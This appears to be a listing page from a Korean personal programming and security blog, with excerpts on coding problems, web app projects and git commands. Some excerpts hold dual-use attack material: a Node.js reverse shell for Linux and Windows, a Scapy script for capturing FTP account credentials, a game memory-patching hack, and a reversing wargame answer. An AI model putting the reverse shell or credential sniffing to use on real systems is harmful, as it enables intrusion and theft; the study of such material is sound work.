본문 바로가기
  • Tried. Failed. Logged.
728x90

분류 전체보기720

백준 - 동전 0(그리디 알고리즘), 파이썬 & C https://www.acmicpc.net/problem/11047 11047번: 동전 0 첫째 줄에 N과 K가 주어진다. (1 ≤ N ≤ 10, 1 ≤ K ≤ 100,000,000) 둘째 줄부터 N개의 줄에 동전의 가치 Ai가 오름차순으로 주어진다. (1 ≤ Ai ≤ 1,000,000, A1 = 1, i ≥ 2인 경우에 Ai는 Ai-1의 배수) www.acmicpc.net [파이썬] N, K = map(int, input().split()) coins = [] count = 0 for _ in range(N): coins.append( int( input() ) ) idx = len( coins ) - 1 while K > 0: if ( K - coins[idx] ) >= 0 : count += 1 K.. 2021. 12. 5.
Scapy - Scapy로 ftp 계정 정보 알아내기 #!/usr/bin/python from scapy.all import* protocols = {1:'ICMP', 6:'TCP', 17:'UDP'} def showPacket(packet): src_ip = packet[0][1].src dst_ip = packet[0][1].dst proto = packet[0][1].proto if proto in protocols: print( "protocol: %s: %s -> %s" %(protocols[proto], src_ip, dst_ip) ) print( "data: ", packet[0][1].payload ) if proto == 1: print( "TYPE: [%d], CODE[%d]" %(packet[0][2].type, packet[0][2]... 2021. 12. 5.
Scapy - Scapy로 지나가는 패킷 확인하기 #!/usr/bin/python from scapy.all import* protocols = {1:'ICMP', 6:'TCP', 17:'UDP'} def showPacket(packet): src_ip = packet[0][1].src dst_ip = packet[0][1].dst proto = packet[0][1].proto if proto in protocols: print( "protocol: %s: %s -> %s" %(protocols[proto], src_ip, dst_ip) ) if proto == 1: print( "TYPE: [%d], CODE[%d]" %(packet[0][2].type, packet[0][2].code) ) def sniffing(filter): sniff(filt.. 2021. 12. 5.
Node.js - 리버스쉘 [Linux] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("/bin/sh", []); var client = new net.Socket(); client.connect(5050, "127.0.0.1", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; })(); [Windows] (function(){ var net = require("net"), cp = require("child_process"), sh = cp.spawn("C:\\Windows\\system32\\cm.. 2021. 12. 4.
날씨를 얼굴로 확인하는 웹 앱플리케이션 KaoWeather https://kaoweather.web.app/ Kaoweather: 날씨 알리미 kaoweather.web.app 얼굴(kao) 이모지를 통해 현재 날씨를 바로 확인하는 웹 앱플리케이션입니다. 리액트를 이용해서 만들었으며, 무료 날씨 API OpenWeather의 API를 사용했습니다. (https://openweathermap.org/api) 깃허브: https://github.com/Logic-01001010/KaoWeather GitHub - Logic-01001010/KaoWeather: 리액트 기반 이모티콘 날씨 알림 웹 애플리케이션 리액트 기반 이모티콘 날씨 알림 웹 애플리케이션. Contribute to Logic-01001010/KaoWeather development by creati.. 2021. 12. 4.
간단 웹 메모장 Netpad https://logic-01001010.github.io/netpad/ React App logic-01001010.github.io localStorage 방식으로 데이터를 저장하는 초 간단 메모장입니다. React.js로 만들어보았습니다. 깃허브: https://github.com/Logic-01001010/netpad GitHub - Logic-01001010/netpad: 리액트 간단 메모장 리액트 간단 메모장. Contribute to Logic-01001010/netpad development by creating an account on GitHub. github.com 2021. 12. 4.
애플스토어 클론 코딩 https://applestoreclone.web.app/index.html AppleStore applestoreclone.web.app 웹프로그래밍 수업에서 팀원들과 함께 만들어본 클론 애플 사이트입니다. 실제로는 자바 톰캣으로 웹서버를 구동하지만, 따로 정적파일 형태로 만들어서 파이어베이스에 올려보았습니다. 업로드한 사이트는 많이(?) 구버전입니다. 2021. 12. 4.
해야할 일들을 메모하는 사이트 Todos https://logic-01001010.github.io/Todos/index.html TODOS logic-01001010.github.io 사용 언어: HTML/CSS/JS 프레임워크: 부트스트랩 등록하는 todo들은 서버로 전달을 하는 것이 아닌, 로컬에서 저장하는 방식인 localStorage로 저장을 하기 때문에 정보를 수집하지 않습니다. 깃허브: https://github.com/Logic-01001010/Todos GitHub - Logic-01001010/Todos: 갑자기 만들고 싶어서 만들어본 Todo List 갑자기 만들고 싶어서 만들어본 Todo List. Contribute to Logic-01001010/Todos development by creating an account .. 2021. 12. 4.
랜덤 비밀번호 생성 사이트 pa$$w0rdMaker https://thepasswordmaker.web.app/ PasswordMaker thepasswordmaker.web.app 사용 언어: HTML/CSS/JS 호스팅 서버: firebase hosting 설정한 값을 기준으로 무작위의 패스워드를 생성하여 줍니다. 생성을 한 비밀번호는 따로 txt 파일 형태로 저장할 수 있도록 만들어보았습니다. 깃허브: https://github.com/Logic-01001010/passwordMaker GitHub - Logic-01001010/passwordMaker: HTML, CSS, JAVASCRIPT로 만든 랜덤 비밀번호 생성 사이트 HTML, CSS, JAVASCRIPT로 만든 랜덤 비밀번호 생성 사이트. Contribute to Logic-0100101.. 2021. 12. 4.
게임 해킹 - 피카츄 배구 핵(C) #include #include int make_envincible(HANDLE hProcess) { // 점수 몰빵 LPVOID base = (LPVOID)0x00403C4A; BYTE buffer[4] = {0xFF, 0x46, 0x40, 0x90}; // 1P: 0xFF, 0x46, 0x3C, 0x90 | 2P: 0xFF, 0x46, 0x40, 0x90 BOOL is_successed = WriteProcessMemory(hProcess, base, buffer, 4, NULL); // 엔드리스 게임 base = (LPVOID)0x00403C27; BYTE buffer2[2] = {0x74, 0x76}; is_successed = WriteProcessMemory(hProcess, base, buf.. 2021. 12. 3.
Dreamhack - 워게임, rev-basic-2 풀이 https://dreamhack.io/wargame/challenges/16/ rev-basic-2 Reversing Basic Challenge #2 이 문제는 사용자에게 문자열 입력을 받아 정해진 방법으로 입력값을 검증하여 correct 또는 wrong을 출력하는 프로그램이 주어집니다. 해당 바이너리를 분석하여 correct를 출 dreamhack.io 이번에는 배열을 비교해가면서 내가 입력한 문자열이 장답 배열이 가지고 있는 문자와 똑같은지를 비교하는 원리였다. 이렇게 주석을 적어가면서 하면 이해하기가 쉽다. 프로그램이 계속해서 참조하는 저 배열의 주소를 덤프 창에서 따라가 보았더니 "Comp4re_the_arr4y"라고 배열이 각 4바이트 떨어진 간격으로 저장이 되어있었다. 그렇기 때문에 cmp .. 2021. 12. 3.
DevOps - Git 브랜치 가져오기 [원격 저장소 브랜치 확인]git branch -r  [브랜치 삭제]git branch -d {브랜치 이름}  [가져오기]git checkout -t origin/{브랜치 이름}git checkout -f -t origin/{브랜치 이름}  출처: https://yztech.tistory.com/32 git 브랜치: 가져오기, 합치기, 삭제하기이번에는 git의 브랜치 관련 명령들을 알아보겠습니다. 브랜치는 동일한 소스를 기반에서 다양한 버전을 만들어 낼 수 있는 기능으로, 여러 사람이 동시에 작업을 하거나, 조금씩 다른 버전을 만yztech.tistory.com 2021. 12. 2.
728x90